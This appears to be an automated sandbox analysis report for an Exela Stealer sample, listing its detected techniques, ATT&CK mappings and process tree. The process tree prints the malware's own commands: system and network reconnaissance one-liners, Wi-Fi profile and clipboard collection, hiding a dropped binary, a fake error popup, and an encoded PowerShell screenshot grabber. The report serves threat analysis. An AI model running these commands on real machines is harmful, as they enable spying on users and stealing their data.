Analysis
- max time kernel
149s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
13/10/2026, 18:11
General
- Target 2026-10-12_f0efad103245c9dd15648cbca07f0023_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
- Size 10.8MB
- Sample261013-wsp94scf22
- SHA256 5324ef2ebcb34c3d41877362fa39697d7dc4f58689e21885ad8f9a1b28424779
Malware Config
Signatures
- Family: Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Loads dropped DLL 32 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Uses WMI to collect hardware manufacturer information 2 TTPs 1 IoCs
Uses WMI to read the system manufacturer, model, baseboard or display adapter, which is often used to detect virtual machines and evade sandboxes.
- Discovers running processes 1 TTPs 5 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Queries system WMI classes for hardware identifiers 2 TTPs 3 IoCs
Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 18 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 18 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- System Network Connections Discovery 1 TTPs 1 IoCs
Attempt to get a listing of network connections.
- Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 38 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-12_f0efad103245c9dd15648cbca07f0023_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-12_f0efad103245c9dd15648cbca07f0023_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-10-12_f0efad103245c9dd15648cbca07f0023_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-12_f0efad103245c9dd15648cbca07f0023_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"2⤵
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Reads the TCP/IP host and domain name from the registry
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get Manufacturer4⤵
- Uses WMI to collect hardware manufacturer information
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "gdb --version"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get Manufacturer4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c chcp4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c chcp4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"3⤵
- Network Service Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
-
-
C:\Windows\system32\HOSTNAME.EXEhostname4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk get caption,description,providername4⤵
- Reads the TCP/IP host and domain name from the registry
- Collects information from the system
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\net.exenet user4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user5⤵
-
-
-
C:\Windows\system32\query.exequery user4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\quser.exe"C:\Windows\system32\quser.exe"5⤵
-
-
-
C:\Windows\system32\net.exenet localgroup4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup5⤵
-
-
-
C:\Windows\system32\net.exenet localgroup administrators4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators5⤵
-
-
-
C:\Windows\system32\net.exenet user guest4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user guest5⤵
-
-
-
C:\Windows\system32\net.exenet user administrator4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user administrator5⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic startup get caption,command4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\tasklist.exetasklist /svc4⤵
- Discovers running processes
-
-
C:\Windows\system32\ipconfig.exeipconfig /all4⤵
- Gathers network information
-
-
C:\Windows\system32\ROUTE.EXEroute print4⤵
-
-
C:\Windows\system32\ARP.EXEarp -a4⤵
- Network Service Discovery
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -ano4⤵
- System Network Connections Discovery
- Gathers network information
-
-
C:\Windows\system32\sc.exesc query type= service state= all4⤵
- Launches sc.exe
-
-
C:\Windows\system32\netsh.exenetsh firewall show state4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh firewall show config4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5d5ytylr\5d5ytylr.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES81C9.tmp" "c:\Users\Admin\AppData\Local\Temp\5d5ytylr\CSC8232F8A5385F4814AA5455435F69FFA4.TMP"6⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Windows Command Shell
1Windows Management Instrumentation
2Persistence
Account Manipulation
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Account Manipulation
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
1Disable or Modify System Firewall
1Obfuscated Files or Information
1Command Obfuscation
1Virtualization/Sandbox Evasion
1System Checks
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Network Service Discovery
1Permission Groups Discovery
1Local Groups
1Process Discovery
1System Information Discovery
4System Network Configuration Discovery
3Internet Connection Discovery
1Wi-Fi Discovery
1System Network Connections Discovery
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
History.txt
Historys.txt
network_info.txt
process_info.txt
system_info.txt
AutofillData.db
AutofillData.db
DownloadData.db
DownloadData.db
CompleteAssert.docx
DisconnectSubmit.csv
InstallDisable.docx
ResetEdit.txt
ResumeApprove.xlsx
StartClose.xlsx
StopAdd.jpeg
SyncPop.docx
UninstallEnter.docx
AssertResume.docx
ConvertToReceive.xls
EnterHide.csv
RequestPing.doc
ShowBackup.docx
SyncSave.xlsx
UnblockConvertFrom.csv
UnpublishDebug.docx
UnregisterConvertFrom.docx
LimitBackup.fon
PingTrace.txt
StartMeasure.jpeg
SuspendConnect.png
UndoAssert.png
OutSave.xls
ConfirmAdd.png
WoOgDo.jpg
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp311-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_http_parser.cp311-win_amd64.pyd
_http_writer.cp311-win_amd64.pyd
